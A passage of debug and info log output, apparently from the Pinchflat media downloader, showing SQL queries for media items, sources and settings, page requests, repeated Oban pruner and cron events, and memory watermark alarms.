s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:07:43.666 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=20.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:07:43.668 [info] Sent 200 in 356ms 22:07:43.740 [info] GET / 22:07:43.740 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:07:43.743 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=89.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.743 [debug] QUERY OK source="media_profiles" db=0.3ms idle=88.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:07:43.744 [debug] QUERY OK source="sources" db=0.1ms idle=79.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:07:43.744 [debug] QUERY OK source="media_items" db=0.7ms idle=77.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:07:43.745 [debug] QUERY OK source="media_items" db=0.2ms idle=32.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:07:43.745 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.746 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.747 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:43.748 [debug] QUERY OK source="tasks" db=0.2ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:07:43.749 [debug] QUERY OK source="media_items" db=0.4ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:07:43.750 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:07:43.751 [debug] QUERY OK source="sources" db=0.3ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:07:43.753 [debug] QUERY OK source="media_items" db=0.4ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:07:43.755 [debug] QUERY OK source="media_items" db=0.9ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:07:43.756 [info] Sent 200 in 16ms 22:07:53.169 [info] {"source":"oban","duration":978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.197 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:23.171 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:53.173 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.203 [info] {"source":"oban","duration":3794,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:23.175 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:53.177 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.209 [info] {"source":"oban","duration":4994,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:23.179 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:53.181 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.219 [info] {"source":"oban","duration":7780,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:23.183 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:53.187 [info] {"source":"oban","duration":3248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.513 [info] {"source":"oban","duration":12826,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:23.189 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:53.191 [info] {"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.520 [info] {"source":"oban","duration":3054,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:23.193 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:53.195 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.521 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:19.716 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:14:23.196 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:53.198 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.533 [info] {"source":"oban","duration":11091,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:23.200 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:53.202 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.534 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:23.207 [info] {"source":"oban","duration":3685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:53.209 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.537 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:23.212 [info] {"source":"oban","duration":2050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:53.214 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.539 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:23.216 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:53.218 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.540 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:23.220 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:53.222 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.545 [info] {"source":"oban","duration":3247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:23.224 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:53.226 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:00.549 [info] {"source":"oban","duration":2745,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:23.228 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:53.232 [info] {"source":"oban","duration":2899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:00.550 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:22:23.236 [info] {"source":"oban","duration":3063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:22:53.238 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:00.553 [info] {"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:23:23.240 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:53.243 [info] {"source":"oban","duration":1997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:00.556 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:24:23.245 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:24:53.247 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:00.559 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:25:23.249 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:25:53.251 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:00.566 [info] {"source":"oban","duration":6370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:26:23.253 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:26:53.256 [info] {"source":"oban","duration":2100,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:00.569 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:27:23.258 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:27:53.260 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:00.570 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:28:23.262 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:28:53.264 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:00.574 [info] {"source":"oban","duration":3311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:29:23.266 [info] {"source":"oban","duration":832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:29:53.269 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:00.580 [info] {"source":"oban","duration":2758,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:30:23.271 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:30:53.273 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:00.581 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:31:19.790 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:31:23.275 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:31:53.277 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:00.585 [info] {"source":"oban","duration":2837,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:32:23.279 [info] {"source":"oban","duration":1076,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:32:53.281 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:00.589 [info] {"source":"oban","duration":2554,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:33:23.283 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:33:53.285 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:00.592 [info] {"source":"oban","duration":2401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:34:23.289 [info] {"source":"oban","duration":2628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:34:53.291 [info] {"source":"oban","duration":890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:00.595 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:35:23.293 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:35:53.297 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:00.602 [info] {"source":"oban","duration":5610,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:36:23.299 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:53.302 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:00.606 [info] {"source":"oban","duration":2595,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:23.304 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:53.308 [info] {"source":"oban","duration":3024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:00.611 [info] {"source":"oban","duration":4520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:23.310 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:53.312 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:00.613 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:23.314 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:39:53.316 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:00.617 [info] {"source":"oban","duration":2439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:40:23.319 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:40:53.320 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:00.622 [info] {"source":"oban","duration":2829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:41:23.322 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:41:53.324 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:00.624 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:42:23.326 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:42:53.328 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:00.625 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:43:23.331 [info] {"source":"oban","duration":2271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:43:53.333 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:00.629 [info] {"source":"oban","duration":2475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:44:23.335 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:44:53.337 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:00.632 [info] {"source":"oban","duration":1994,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:45:23.340 [info] {"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:45:53.342 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:00.636 [info] {"source":"oban","duration":3364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:46:19.849 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 22:46:23.344 [info] {"source":"oban","duration":1149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:46:53.346 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:00.641 [info] {"source":"oban","duration":2586,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:47:23.349 [info] {"source":"oban","duration":2216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:47:53.351 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:00.646 [info] {"source":"oban","duration":3690,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:48:23.353 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:48:53.355 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:00.649 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:49:23.357 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:49:53.359 [info] {"source":"oban","duration":943,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:00.650 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:50:23.364 [info] {"source":"oban","duration":3548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:50:53.366 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:00.653 [info] {"source":"oban","duration":2311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:51:23.368 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:51:53.370 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:00.657 [info] {"source":"oban","duration":3163,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:52:23.372 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:52:53.374 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:00.661 [info] {"source":"oban","duration":3256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:53:23.376 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:53:53.378 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:00.666 [info] {"source":"oban","duration":3517,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:54:23.380 [info] {"source":"oban","duration":869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:54:53.382 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:00.670 [info] {"source":"oban","duration":3082,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:55:23.384 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:55:53.386 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:00.675 [info] {"source":"oban","duration":3399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:56:23.388 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:56:53.390 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:00.679 [info] {"source":"oban","duration":2753,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:57:19.888 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 22:57:23.392 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:57:53.395 [info] {"source":"oban","duration":2456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:00.681 [info] {"source":"oban","duration":826,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:58:23.397 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:58:53.399 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:00.682 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:59:23.401 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:59:53.403 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 